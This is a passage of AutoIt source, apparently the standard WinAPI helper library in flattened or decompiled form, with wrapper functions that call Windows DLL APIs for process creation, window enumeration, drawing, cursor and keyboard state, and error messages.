  1594.     If $scommand <> "" Then
  1595.         $tcommand = DllStructCreate("wchar Text[" & 260 + 1 & "]")
  1596.         DllStructSetData($tcommand, "Text", $scommand)
  1597.     EndIf
  1598.     If $sdir = "" Then
  1599.         $sdirtype = "ptr"
  1600.         $sdir = 0
  1601.     EndIf
  1602.     Local $aresult = DllCall("kernel32.dll", "bool", "CreateProcessW", $sappnametype, $sappname, "struct*", $tcommand, "struct*", $tsecurity, "struct*", $tthread, "bool", $binherit, "dword", $iflags, "struct*", $penviron, $sdirtype, $sdir, "struct*", $tstartupinfo, "struct*", $tprocess)
  1603.     If @error Then Return SetError(@error, @extended, False)
  1604.     Return $aresult[0]
  1605. EndFunc
  1606.  
  1607. Func _winapi_createrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect)
  1608.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect)
  1609.     If @error Then Return SetError(@error, @extended, 0)
  1610.     Return $aresult[0]
  1611. EndFunc
  1612.  
  1613. Func _winapi_createroundrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect, $iwidthellipse, $iheightellipse)
  1614.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateRoundRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect, "int", $iwidthellipse, "int", $iheightellipse)
  1615.     If @error Then Return SetError(@error, @extended, 0)
  1616.     Return $aresult[0]
  1617. EndFunc
  1618.  
  1619. Func _winapi_createsolidbitmap($hwnd, $icolor, $iwidth, $iheight, $brgb = 1)
  1620.     Local $hdc = _winapi_getdc($hwnd)
  1621.     Local $hdestdc = _winapi_createcompatibledc($hdc)
  1622.     Local $hbitmap = _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
  1623.     Local $hold = _winapi_selectobject($hdestdc, $hbitmap)
  1624.     Local $trect = DllStructCreate($tagrect)
  1625.     DllStructSetData($trect, 1, 0)
  1626.     DllStructSetData($trect, 2, 0)
  1627.     DllStructSetData($trect, 3, $iwidth)
  1628.     DllStructSetData($trect, 4, $iheight)
  1629.     If $brgb Then
  1630.         $icolor = BitOR(BitAND($icolor, 65280), BitShift(BitAND($icolor, 255), -16), BitShift(BitAND($icolor, 16711680), 16))
  1631.     EndIf
  1632.     Local $hbrush = _winapi_createsolidbrush($icolor)
  1633.     If NOT _winapi_fillrect($hdestdc, $trect, $hbrush) Then
  1634.         _winapi_deleteobject($hbitmap)
  1635.         $hbitmap = 0
  1636.     EndIf
  1637.     _winapi_deleteobject($hbrush)
  1638.     _winapi_releasedc($hwnd, $hdc)
  1639.     _winapi_selectobject($hdestdc, $hold)
  1640.     _winapi_deletedc($hdestdc)
  1641.     If NOT $hbitmap Then Return SetError(1, 0, 0)
  1642.     Return $hbitmap
  1643. EndFunc
  1644.  
  1645. Func _winapi_createsolidbrush($icolor)
  1646.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateSolidBrush", "INT", $icolor)
  1647.     If @error Then Return SetError(@error, @extended, 0)
  1648.     Return $aresult[0]
  1649. EndFunc
  1650.  
  1651. Func _winapi_createwindowex($iexstyle, $sclass, $sname, $istyle, $ix, $iy, $iwidth, $iheight, $hparent, $hmenu = 0, $hinstance = 0, $pparam = 0)
  1652.     If $hinstance = 0 Then $hinstance = _winapi_getmodulehandle("")
  1653.     Local $aresult = DllCall("user32.dll", "hwnd", "CreateWindowExW", "dword", $iexstyle, "wstr", $sclass, "wstr", $sname, "dword", $istyle, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "hwnd", $hparent, "handle", $hmenu, "handle", $hinstance, "struct*", $pparam)
  1654.     If @error Then Return SetError(@error, @extended, 0)
  1655.     Return $aresult[0]
  1656. EndFunc
  1657.  
  1658. Func _winapi_defwindowproc($hwnd, $imsg, $wparam, $lparam)
  1659.     Local $aresult = DllCall("user32.dll", "lresult", "DefWindowProc", "hwnd", $hwnd, "uint", $imsg, "wparam", $wparam, "lparam", $lparam)
  1660.     If @error Then Return SetError(@error, @extended, 0)
  1661.     Return $aresult[0]
  1662. EndFunc
  1663.  
  1664. Func _winapi_deletedc($hdc)
  1665.     Local $aresult = DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $hdc)
  1666.     If @error Then Return SetError(@error, @extended, False)
  1667.     Return $aresult[0]
  1668. EndFunc
  1669.  
  1670. Func _winapi_deleteobject($hobject)
  1671.     Local $aresult = DllCall("gdi32.dll", "bool", "DeleteObject", "handle", $hobject)
  1672.     If @error Then Return SetError(@error, @extended, False)
  1673.     Return $aresult[0]
  1674. EndFunc
  1675.  
  1676. Func _winapi_destroyicon($hicon)
  1677.     Local $aresult = DllCall("user32.dll", "bool", "DestroyIcon", "handle", $hicon)
  1678.     If @error Then Return SetError(@error, @extended, False)
  1679.     Return $aresult[0]
  1680. EndFunc
  1681.  
  1682. Func _winapi_destroywindow($hwnd)
  1683.     Local $aresult = DllCall("user32.dll", "bool", "DestroyWindow", "hwnd", $hwnd)
  1684.     If @error Then Return SetError(@error, @extended, False)
  1685.     Return $aresult[0]
  1686. EndFunc
  1687.  
  1688. Func _winapi_drawedge($hdc, $trect, $iedgetype, $iflags)
  1689.     Local $aresult = DllCall("user32.dll", "bool", "DrawEdge", "handle", $hdc, "struct*", $trect, "uint", $iedgetype, "uint", $iflags)
  1690.     If @error Then Return SetError(@error, @extended, False)
  1691.     Return $aresult[0]
  1692. EndFunc
  1693.  
  1694. Func _winapi_drawframecontrol($hdc, $trect, $itype, $istate)
  1695.     Local $aresult = DllCall("user32.dll", "bool", "DrawFrameControl", "handle", $hdc, "struct*", $trect, "uint", $itype, "uint", $istate)
  1696.     If @error Then Return SetError(@error, @extended, False)
  1697.     Return $aresult[0]
  1698. EndFunc
  1699.  
  1700. Func _winapi_drawicon($hdc, $ix, $iy, $hicon)
  1701.     Local $aresult = DllCall("user32.dll", "bool", "DrawIcon", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon)
  1702.     If @error Then Return SetError(@error, @extended, False)
  1703.     Return $aresult[0]
  1704. EndFunc
  1705.  
  1706. Func _winapi_drawiconex($hdc, $ix, $iy, $hicon, $iwidth = 0, $iheight = 0, $istep = 0, $hbrush = 0, $iflags = 3)
  1707.     Local $ioptions
  1708.     Switch $iflags
  1709.         Case 1
  1710.             $ioptions = $di_mask
  1711.         Case 2
  1712.             $ioptions = $di_image
  1713.         Case 3
  1714.             $ioptions = $di_normal
  1715.         Case 4
  1716.             $ioptions = $di_compat
  1717.         Case 5
  1718.             $ioptions = $di_defaultsize
  1719.         Case Else
  1720.             $ioptions = $di_nomirror
  1721.     EndSwitch
  1722.     Local $aresult = DllCall("user32.dll", "bool", "DrawIconEx", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon, "int", $iwidth, "int", $iheight, "uint", $istep, "handle", $hbrush, "uint", $ioptions)
  1723.     If @error Then Return SetError(@error, @extended, False)
  1724.     Return $aresult[0]
  1725. EndFunc
  1726.  
  1727. Func _winapi_drawline($hdc, $ix1, $iy1, $ix2, $iy2)
  1728.     _winapi_moveto($hdc, $ix1, $iy1)
  1729.     If @error Then Return SetError(@error, @extended, False)
  1730.     _winapi_lineto($hdc, $ix2, $iy2)
  1731.     If @error Then Return SetError(@error + 10, @extended, False)
  1732.     Return True
  1733. EndFunc
  1734.  
  1735. Func _winapi_drawtext($hdc, $stext, ByRef $trect, $iflags)
  1736.     Local $aresult = DllCall("user32.dll", "int", "DrawTextW", "handle", $hdc, "wstr", $stext, "int", -1, "struct*", $trect, "uint", $iflags)
  1737.     If @error Then Return SetError(@error, @extended, 0)
  1738.     Return $aresult[0]
  1739. EndFunc
  1740.  
  1741. Func _winapi_duplicatehandle($hsourceprocesshandle, $hsourcehandle, $htargetprocesshandle, $idesiredaccess, $iinherithandle, $ioptions)
  1742.     Local $aresult = DllCall("kernel32.dll", "bool", "DuplicateHandle", "handle", $hsourceprocesshandle, "handle", $hsourcehandle, "handle", $htargetprocesshandle, "handle*", 0, "dword", $idesiredaccess, "bool", $iinherithandle, "dword", $ioptions)
  1743.     If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, 0)
  1744.     Return $aresult[4]
  1745. EndFunc
  1746.  
  1747. Func _winapi_enablewindow($hwnd, $benable = True)
  1748.     Local $aresult = DllCall("user32.dll", "bool", "EnableWindow", "hwnd", $hwnd, "bool", $benable)
  1749.     If @error Then Return SetError(@error, @extended, False)
  1750.     Return $aresult[0]
  1751. EndFunc
  1752.  
  1753. Func _winapi_enumdisplaydevices($sdevice, $idevnum)
  1754.     Local $tname = 0, $iflags = 0, $adevice[5]
  1755.     If $sdevice <> "" Then
  1756.         $tname = DllStructCreate("wchar Text[" & StringLen($sdevice) + 1 & "]")
  1757.         DllStructSetData($tname, "Text", $sdevice)
  1758.     EndIf
  1759.     Local $tdevice = DllStructCreate($tagdisplay_device)
  1760.     Local $idevice = DllStructGetSize($tdevice)
  1761.     DllStructSetData($tdevice, "Size", $idevice)
  1762.     Local $aret = DllCall("user32.dll", "bool", "EnumDisplayDevicesW", "struct*", $tname, "dword", $idevnum, "struct*", $tdevice, "dword", 1)
  1763.     If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  1764.     Local $in = DllStructGetData($tdevice, "Flags")
  1765.     If BitAND($in, $display_device_attached_to_desktop) <> 0 Then $iflags = BitOR($iflags, 1)
  1766.     If BitAND($in, $display_device_primary_device) <> 0 Then $iflags = BitOR($iflags, 2)
  1767.     If BitAND($in, $display_device_mirroring_driver) <> 0 Then $iflags = BitOR($iflags, 4)
  1768.     If BitAND($in, $display_device_vga_compatible) <> 0 Then $iflags = BitOR($iflags, 8)
  1769.     If BitAND($in, $display_device_removable) <> 0 Then $iflags = BitOR($iflags, 16)
  1770.     If BitAND($in, $display_device_modespruned) <> 0 Then $iflags = BitOR($iflags, 32)
  1771.     $adevice[0] = True
  1772.     $adevice[1] = DllStructGetData($tdevice, "Name")
  1773.     $adevice[2] = DllStructGetData($tdevice, "String")
  1774.     $adevice[3] = $iflags
  1775.     $adevice[4] = DllStructGetData($tdevice, "ID")
  1776.     Return $adevice
  1777. EndFunc
  1778.  
  1779. Func _winapi_enumwindows($bvisible = True, $hwnd = Default)
  1780.     __winapi_enumwindowsinit()
  1781.     If $hwnd = Default Then $hwnd = _winapi_getdesktopwindow()
  1782.     __winapi_enumwindowschild($hwnd, $bvisible)
  1783.     Return $__g_awinlist_winapi
  1784. EndFunc
  1785.  
  1786. Func __winapi_enumwindowsadd($hwnd, $sclass = "")
  1787.     If $sclass = "" Then $sclass = _winapi_getclassname($hwnd)
  1788.     $__g_awinlist_winapi[0][0] += 1
  1789.     Local $icount = $__g_awinlist_winapi[0][0]
  1790.     If $icount >= $__g_awinlist_winapi[0][1] Then
  1791.         ReDim $__g_awinlist_winapi[$icount + 64][2]
  1792.         $__g_awinlist_winapi[0][1] += 64
  1793.     EndIf
  1794.     $__g_awinlist_winapi[$icount][0] = $hwnd
  1795.     $__g_awinlist_winapi[$icount][1] = $sclass
  1796. EndFunc
  1797.  
  1798. Func __winapi_enumwindowschild($hwnd, $bvisible = True)
  1799.     $hwnd = _winapi_getwindow($hwnd, $gw_child)
  1800.     While $hwnd <> 0
  1801.         If (NOT $bvisible) OR _winapi_iswindowvisible($hwnd) Then
  1802.             __winapi_enumwindowsadd($hwnd)
  1803.             __winapi_enumwindowschild($hwnd, $bvisible)
  1804.         EndIf
  1805.         $hwnd = _winapi_getwindow($hwnd, $gw_hwndnext)
  1806.     WEnd
  1807. EndFunc
  1808.  
  1809. Func __winapi_enumwindowsinit()
  1810.     ReDim $__g_awinlist_winapi[64][2]
  1811.     $__g_awinlist_winapi[0][0] = 0
  1812.     $__g_awinlist_winapi[0][1] = 64
  1813. EndFunc
  1814.  
  1815. Func _winapi_enumwindowspopup()
  1816.     __winapi_enumwindowsinit()
  1817.     Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $gw_child)
  1818.     Local $sclass
  1819.     While $hwnd <> 0
  1820.         If _winapi_iswindowvisible($hwnd) Then
  1821.             $sclass = _winapi_getclassname($hwnd)
  1822.             If $sclass = "#32768" Then
  1823.                 __winapi_enumwindowsadd($hwnd)
  1824.             ElseIf $sclass = "ToolbarWindow32" Then
  1825.                 __winapi_enumwindowsadd($hwnd)
  1826.             ElseIf $sclass = "ToolTips_Class32" Then
  1827.                 __winapi_enumwindowsadd($hwnd)
  1828.             ElseIf $sclass = "BaseBar" Then
  1829.                 __winapi_enumwindowschild($hwnd)
  1830.             EndIf
  1831.         EndIf
  1832.         $hwnd = _winapi_getwindow($hwnd, $gw_hwndnext)
  1833.     WEnd
  1834.     Return $__g_awinlist_winapi
  1835. EndFunc
  1836.  
  1837. Func _winapi_enumwindowstop()
  1838.     __winapi_enumwindowsinit()
  1839.     Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $gw_child)
  1840.     While $hwnd <> 0
  1841.         If _winapi_iswindowvisible($hwnd) Then __winapi_enumwindowsadd($hwnd)
  1842.         $hwnd = _winapi_getwindow($hwnd, $gw_hwndnext)
  1843.     WEnd
  1844.     Return $__g_awinlist_winapi
  1845. EndFunc
  1846.  
  1847. Func _winapi_expandenvironmentstrings($sstring)
  1848.     Local $aresult = DllCall("kernel32.dll", "dword", "ExpandEnvironmentStringsW", "wstr", $sstring, "wstr", "", "dword", 4096)
  1849.     If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, "")
  1850.     Return $aresult[2]
  1851. EndFunc
  1852.  
  1853. Func _winapi_extracticonex($sfilepath, $iindex, $palarge, $pasmall, $iicons)
  1854.     Local $aresult = DllCall("shell32.dll", "uint", "ExtractIconExW", "wstr", $sfilepath, "int", $iindex, "struct*", $palarge, "struct*", $pasmall, "uint", $iicons)
  1855.     If @error Then Return SetError(@error, @extended, 0)
  1856.     Return $aresult[0]
  1857. EndFunc
  1858.  
  1859. Func _winapi_fatalappexit($smessage)
  1860.     DllCall("kernel32.dll", "none", "FatalAppExitW", "uint", 0, "wstr", $smessage)
  1861.     If @error Then Return SetError(@error, @extended)
  1862. EndFunc
  1863.  
  1864. Func _winapi_fillrect($hdc, $trect, $hbrush)
  1865.     Local $aresult
  1866.     If IsPtr($hbrush) Then
  1867.         $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $trect, "handle", $hbrush)
  1868.     Else
  1869.         $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $trect, "dword_ptr", $hbrush)
  1870.     EndIf
  1871.     If @error Then Return SetError(@error, @extended, False)
  1872.     Return $aresult[0]
  1873. EndFunc
  1874.  
  1875. Func _winapi_findexecutable($sfilename, $sdirectory = "")
  1876.     Local $aresult = DllCall("shell32.dll", "INT", "FindExecutableW", "wstr", $sfilename, "wstr", $sdirectory, "wstr", "")
  1877.     If @error Then Return SetError(@error, @extended, "")
  1878.     If $aresult[0] <= 32 Then Return SetError(10, $aresult[0], "")
  1879.     Return SetExtended($aresult[0], $aresult[3])
  1880. EndFunc
  1881.  
  1882. Func _winapi_findwindow($sclassname, $swindowname)
  1883.     Local $aresult = DllCall("user32.dll", "hwnd", "FindWindowW", "wstr", $sclassname, "wstr", $swindowname)
  1884.     If @error Then Return SetError(@error, @extended, 0)
  1885.     Return $aresult[0]
  1886. EndFunc
  1887.  
  1888. Func _winapi_flashwindow($hwnd, $binvert = True)
  1889.     Local $aresult = DllCall("user32.dll", "bool", "FlashWindow", "hwnd", $hwnd, "bool", $binvert)
  1890.     If @error Then Return SetError(@error, @extended, False)
  1891.     Return $aresult[0]
  1892. EndFunc
  1893.  
  1894. Func _winapi_flashwindowex($hwnd, $iflags = 3, $icount = 3, $itimeout = 0)
  1895.     Local $tflash = DllStructCreate($tagflashwinfo)
  1896.     Local $iflash = DllStructGetSize($tflash)
  1897.     Local $imode = 0
  1898.     If BitAND($iflags, 1) <> 0 Then $imode = BitOR($imode, $flashw_caption)
  1899.     If BitAND($iflags, 2) <> 0 Then $imode = BitOR($imode, $flashw_tray)
  1900.     If BitAND($iflags, 4) <> 0 Then $imode = BitOR($imode, $flashw_timer)
  1901.     If BitAND($iflags, 8) <> 0 Then $imode = BitOR($imode, $flashw_timernofg)
  1902.     DllStructSetData($tflash, "Size", $iflash)
  1903.     DllStructSetData($tflash, "hWnd", $hwnd)
  1904.     DllStructSetData($tflash, "Flags", $imode)
  1905.     DllStructSetData($tflash, "Count", $icount)
  1906.     DllStructSetData($tflash, "Timeout", $itimeout)
  1907.     Local $aresult = DllCall("user32.dll", "bool", "FlashWindowEx", "struct*", $tflash)
  1908.     If @error Then Return SetError(@error, @extended, False)
  1909.     Return $aresult[0]
  1910. EndFunc
  1911.  
  1912. Func _winapi_floattoint($nfloat)
  1913.     Local $tfloat = DllStructCreate("float")
  1914.     Local $tint = DllStructCreate("int", DllStructGetPtr($tfloat))
  1915.     DllStructSetData($tfloat, 1, $nfloat)
  1916.     Return DllStructGetData($tint, 1)
  1917. EndFunc
  1918.  
  1919. Func _winapi_flushfilebuffers($hfile)
  1920.     Local $aresult = DllCall("kernel32.dll", "bool", "FlushFileBuffers", "handle", $hfile)
  1921.     If @error Then Return SetError(@error, @extended, False)
  1922.     Return $aresult[0]
  1923. EndFunc
  1924.  
  1925. Func _winapi_formatmessage($iflags, $psource, $imessageid, $ilanguageid, ByRef $pbuffer, $isize, $varguments)
  1926.     Local $sbuffertype = "struct*"
  1927.     If IsString($pbuffer) Then $sbuffertype = "wstr"
  1928.     Local $aresult = DllCall("kernel32.dll", "dword", "FormatMessageW", "dword", $iflags, "struct*", $psource, "dword", $imessageid, "dword", $ilanguageid, $sbuffertype, $pbuffer, "dword", $isize, "ptr", $varguments)
  1929.     If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, 0)
  1930.     If $sbuffertype = "wstr" Then $pbuffer = $aresult[5]
  1931.     Return $aresult[0]
  1932. EndFunc
  1933.  
  1934. Func _winapi_framerect($hdc, $trect, $hbrush)
  1935.     Local $aresult = DllCall("user32.dll", "int", "FrameRect", "handle", $hdc, "struct*", $trect, "handle", $hbrush)
  1936.     If @error Then Return SetError(@error, @extended, False)
  1937.     Return $aresult[0]
  1938. EndFunc
  1939.  
  1940. Func _winapi_freelibrary($hmodule)
  1941.     Local $aresult = DllCall("kernel32.dll", "bool", "FreeLibrary", "handle", $hmodule)
  1942.     If @error Then Return SetError(@error, @extended, False)
  1943.     Return $aresult[0]
  1944. EndFunc
  1945.  
  1946. Func _winapi_getancestor($hwnd, $iflags = 1)
  1947.     Local $aresult = DllCall("user32.dll", "hwnd", "GetAncestor", "hwnd", $hwnd, "uint", $iflags)
  1948.     If @error Then Return SetError(@error, @extended, 0)
  1949.     Return $aresult[0]
  1950. EndFunc
  1951.  
  1952. Func _winapi_getasynckeystate($ikey)
  1953.     Local $aresult = DllCall("user32.dll", "short", "GetAsyncKeyState", "int", $ikey)
  1954.     If @error Then Return SetError(@error, @extended, 0)
  1955.     Return $aresult[0]
  1956. EndFunc
  1957.  
  1958. Func _winapi_getbkmode($hdc)
  1959.     Local $aresult = DllCall("gdi32.dll", "int", "GetBkMode", "handle", $hdc)
  1960.     If @error Then Return SetError(@error, @extended, 0)
  1961.     Return $aresult[0]
  1962. EndFunc
  1963.  
  1964. Func _winapi_getclassname($hwnd)
  1965.     If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
  1966.     Local $aresult = DllCall("user32.dll", "int", "GetClassNameW", "hwnd", $hwnd, "wstr", "", "int", 4096)
  1967.     If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, "")
  1968.     Return SetExtended($aresult[0], $aresult[2])
  1969. EndFunc
  1970.  
  1971. Func _winapi_getclientheight($hwnd)
  1972.     Local $trect = _winapi_getclientrect($hwnd)
  1973.     If @error Then Return SetError(@error, @extended, 0)
  1974.     Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top")
  1975. EndFunc
  1976.  
  1977. Func _winapi_getclientwidth($hwnd)
  1978.     Local $trect = _winapi_getclientrect($hwnd)
  1979.     If @error Then Return SetError(@error, @extended, 0)
  1980.     Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left")
  1981. EndFunc
  1982.  
  1983. Func _winapi_getclientrect($hwnd)
  1984.     Local $trect = DllStructCreate($tagrect)
  1985.     Local $aret = DllCall("user32.dll", "bool", "GetClientRect", "hwnd", $hwnd, "struct*", $trect)
  1986.     If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  1987.     Return $trect
  1988. EndFunc
  1989.  
  1990. Func _winapi_getcurrentprocess()
  1991.     Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentProcess")
  1992.     If @error Then Return SetError(@error, @extended, 0)
  1993.     Return $aresult[0]
  1994. EndFunc
  1995.  
  1996. Func _winapi_getcurrentprocessid()
  1997.     Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentProcessId")
  1998.     If @error Then Return SetError(@error, @extended, 0)
  1999.     Return $aresult[0]
  2000. EndFunc
  2001.  
  2002. Func _winapi_getcurrentthread()
  2003.     Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentThread")
  2004.     If @error Then Return SetError(@error, @extended, 0)
  2005.     Return $aresult[0]
  2006. EndFunc
  2007.  
  2008. Func _winapi_getcurrentthreadid()
  2009.     Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentThreadId")
  2010.     If @error Then Return SetError(@error, @extended, 0)
  2011.     Return $aresult[0]
  2012. EndFunc
  2013.  
  2014. Func _winapi_getcursorinfo()
  2015.     Local $tcursor = DllStructCreate($tagcursorinfo)
  2016.     Local $icursor = DllStructGetSize($tcursor)
  2017.     DllStructSetData($tcursor, "Size", $icursor)
  2018.     Local $aret = DllCall("user32.dll", "bool", "GetCursorInfo", "struct*", $tcursor)
  2019.     If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  2020.     Local $acursor[5]
  2021.     $acursor[0] = True
  2022.     $acursor[1] = DllStructGetData($tcursor, "Flags") <> 0
  2023.     $acursor[2] = DllStructGetData($tcursor, "hCursor")
  2024.     $acursor[3] = DllStructGetData($tcursor, "X")
  2025.     $acursor[4] = DllStructGetData($tcursor, "Y")
  2026.     Return $acursor
  2027. EndFunc
  2028.  
  2029. Func _winapi_getdc($hwnd)
  2030.     Local $aresult = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hwnd)
  2031.     If @error Then Return SetError(@error, @extended, 0)
  2032.     Return $aresult[0]
  2033. EndFunc
  2034.  
  2035. Func _winapi_getdesktopwindow()
  2036.     Local $aresult = DllCall("user32.dll", "hwnd", "GetDesktopWindow")
  2037.     If @error Then Return SetError(@error, @extended, 0)
  2038.     Return $aresult[0]
  2039. EndFunc
  2040.  
  2041. Func _winapi_getdevicecaps($hdc, $iindex)
  2042.     Local $aresult = DllCall("gdi32.dll", "int", "GetDeviceCaps", "handle", $hdc, "int", $iindex)
  2043.     If @error Then Return SetError(@error, @extended, 0)
  2044.     Return $aresult[0]
  2045. EndFunc
  2046.  
  2047. Func _winapi_getdibits($hdc, $hbitmap, $istartscan, $iscanlines, $pbits, $tbi, $iusage)
  2048.     Local $aresult = DllCall("gdi32.dll", "int", "GetDIBits", "handle", $hdc, "handle", $hbitmap, "uint", $istartscan, "uint", $iscanlines, "struct*", $pbits, "struct*", $tbi, "uint", $iusage)
  2049.     If @error Then Return SetError(@error, @extended, False)
  2050.     Return $aresult[0]
  2051. EndFunc
  2052.  
  2053. Func _winapi_getdlgctrlid($hwnd)
  2054.     Local $aresult = DllCall("user32.dll", "int", "GetDlgCtrlID", "hwnd", $hwnd)
  2055.     If @error Then Return SetError(@error, @extended, 0)
  2056.     Return $aresult[0]
  2057. EndFunc
  2058.  
  2059. Func _winapi_getdlgitem($hwnd, $iitemid)
  2060.     Local $aresult = DllCall("user32.dll", "hwnd", "GetDlgItem", "hwnd", $hwnd, "int", $iitemid)
  2061.     If @error Then Return SetError(@error, @extended, 0)
  2062.     Return $aresult[0]
  2063. EndFunc
  2064.  
  2065. Func _winapi_getfilesizeex($hfile)
  2066.     Local $aresult = DllCall("kernel32.dll", "bool", "GetFileSizeEx", "handle", $hfile, "int64*", 0)
  2067.     If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, -1)
  2068.     Return $aresult[2]
  2069. EndFunc
  2070.  
  2071. Func _winapi_getfocus()
  2072.     Local $aresult = DllCall("user32.dll", "hwnd", "GetFocus")
  2073.     If @error Then Return SetError(@error, @extended, 0)
  2074.     Return $aresult[0]
  2075. EndFunc
  2076.  
  2077. Func _winapi_getforegroundwindow()
  2078.     Local $aresult = DllCall("user32.dll", "hwnd", "GetForegroundWindow")
  2079.     If @error Then Return SetError(@error, @extended, 0)
  2080.     Return $aresult[0]
  2081. EndFunc
  2082.  
  2083. Func _winapi_getguiresources($iflag = 0, $hprocess = -1)
  2084.     If $hprocess = -1 Then $hprocess = _winapi_getcurrentprocess()
  2085.     Local $aresult = DllCall("user32.dll", "dword", "GetGuiResources", "handle", $hprocess, "dword", $iflag)
  2086.     If @error Then Return SetError(@error, @extended, 0)
  2087.     Return $aresult[0]
  2088. EndFunc
  2089.  
  2090. Func _winapi_geticoninfo($hicon)
  2091.     Local $tinfo = DllStructCreate($tagiconinfo)
  2092.     Local $aret = DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "struct*", $tinfo)
  2093.     If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  2094.     Local $aicon[6]
  2095.     $aicon[0] = True
  2096.     $aicon[1] = DllStructGetData($tinfo, "Icon") <> 0
  2097.     $aicon[2] = DllStructGetData($tinfo, "XHotSpot")
  2098.     $aicon[3] = DllStructGetData($tinfo, "YHotSpot")
  2099.     $aicon[4] = DllStructGetData($tinfo, "hMask")
  2100.     $aicon[5] = DllStructGetData($tinfo, "hColor")
  2101.     Return $aicon
  2102. EndFunc
  2103.  
  2104. Func _winapi_getlasterrormessage()
  2105.     Local $ilasterror = _winapi_getlasterror()
  2106.     Local $tbufferptr = DllStructCreate("ptr")
  2107.     Local $ncount = _winapi_formatmessage(BitOR($format_message_allocate_buffer, $format_message_from_system), 0, $ilasterror, 0, $tbufferptr, 0, 0)
  2108.     If @error Then Return SetError(@error, 0, "")
  2109.     Local $stext = ""
  2110.     Local $pbuffer = DllStructGetData($tbufferptr, 1)
  2111.     If $pbuffer Then
  2112.         If $ncount > 0 Then
  2113.             Local $tbuffer = DllStructCreate("wchar[" & ($ncount + 1) & "]", $pbuffer)
  2114.             $stext = DllStructGetData($tbuffer, 1)
  2115.             If StringRight($stext, 2) = @CRLF Then $stext = StringTrimRight($stext, 2)
  2116.         EndIf
  2117.         _winapi_localfree($pbuffer)
  2118.     EndIf
  2119.     Return $stext
  2120. EndFunc
  2121.  
  2122. Func _winapi_getlayeredwindowattributes($hwnd, ByRef $itranscolor, ByRef $itransgui, $bcolorref = False)
  2123.     $itranscolor = -1
  2124.     $itransgui = -1
  2125.     Local $aresult = DllCall("user32.dll", "bool", "GetLayeredWindowAttributes", "hwnd", $hwnd, "INT*", $itranscolor, "byte*", $itransgui, "dword*", 0)
  2126.     If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, 0)
  2127.     If NOT $bcolorref Then
  2128.         $aresult[2] = Int(BinaryMid($aresult[2], 3, 1) & BinaryMid($aresult[2], 2, 1) & BinaryMid($aresult[2], 1, 1))
  2129.     EndIf
  2130.     $itranscolor = $aresult[2]
  2131.     $itransgui = $aresult[3]
  2132.     Return $aresult[4]
  2133. EndFunc
  2134.  
  2135. Func _winapi_getmodulehandle($smodulename)
  2136.     Local $smodulenametype = "wstr"
  2137.     If $smodulename = "" Then
  2138.         $smodulename = 0
  2139.         $smodulenametype = "ptr"
  2140.     EndIf
  2141.     Local $aresult = DllCall("kernel32.dll", "handle", "GetModuleHandleW", $smodulenametype, $smodulename)
  2142.     If @error Then Return SetError(@error, @extended, 0)
  2143.     Return $aresult[0]
  2144. EndFunc
  2145.  
  2146. Func _winapi_getmousepos($btoclient = False, $hwnd = 0)
  2147.     Local $imode = Opt("MouseCoordMode", 1)
  2148.     Local $apos = MouseGetPos()
  2149.     Opt("MouseCoordMode", $imode)
  2150.     Local $tpoint = DllStructCreate($tagpoint)
  2151.     DllStructSetData($tpoint, "X", $apos[0])
  2152.     DllStructSetData($tpoint, "Y", $apos[1])
  2153.     If $btoclient AND NOT _winapi_screentoclient($hwnd, $tpoint) Then Return SetError(@error + 20, @extended, 0)
  2154.     Return $tpoint
  2155. EndFunc
  2156.  
  2157. Func _winapi_getmouseposx($btoclient = False, $hwnd = 0)
  2158.     Local $tpoint = _winapi_getmousepos($btoclient, $hwnd)
  2159.     If @error Then Return SetError(@error, @extended, 0)
  2160.     Return DllStructGetData($tpoint, "X")
  2161. EndFunc
  2162.  
  2163. Func _winapi_getmouseposy($btoclient = False, $hwnd = 0)
  2164.     Local $tpoint = _winapi_getmousepos($btoclient, $hwnd)
  2165.     If @error Then Return SetError(@error, @extended, 0)
  2166.     Return DllStructGetData($tpoint, "Y")
  2167. EndFunc
  2168.  
  2169. Func _winapi_getobject($hobject, $isize, $pobject)
  2170.     Local $aresult = DllCall("gdi32.dll", "int", "GetObjectW", "handle", $hobject, "int", $isize, "struct*", $pobject)
  2171.     If @error Then Return SetError(@error, @extended, 0)
  2172.     Return $aresult[0]
  2173. EndFunc
  2174.  
  2175. Func _winapi_getopenfilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagsex = 0, $hwndowner = 0)
  2176.     Local $ipathlen = 4096
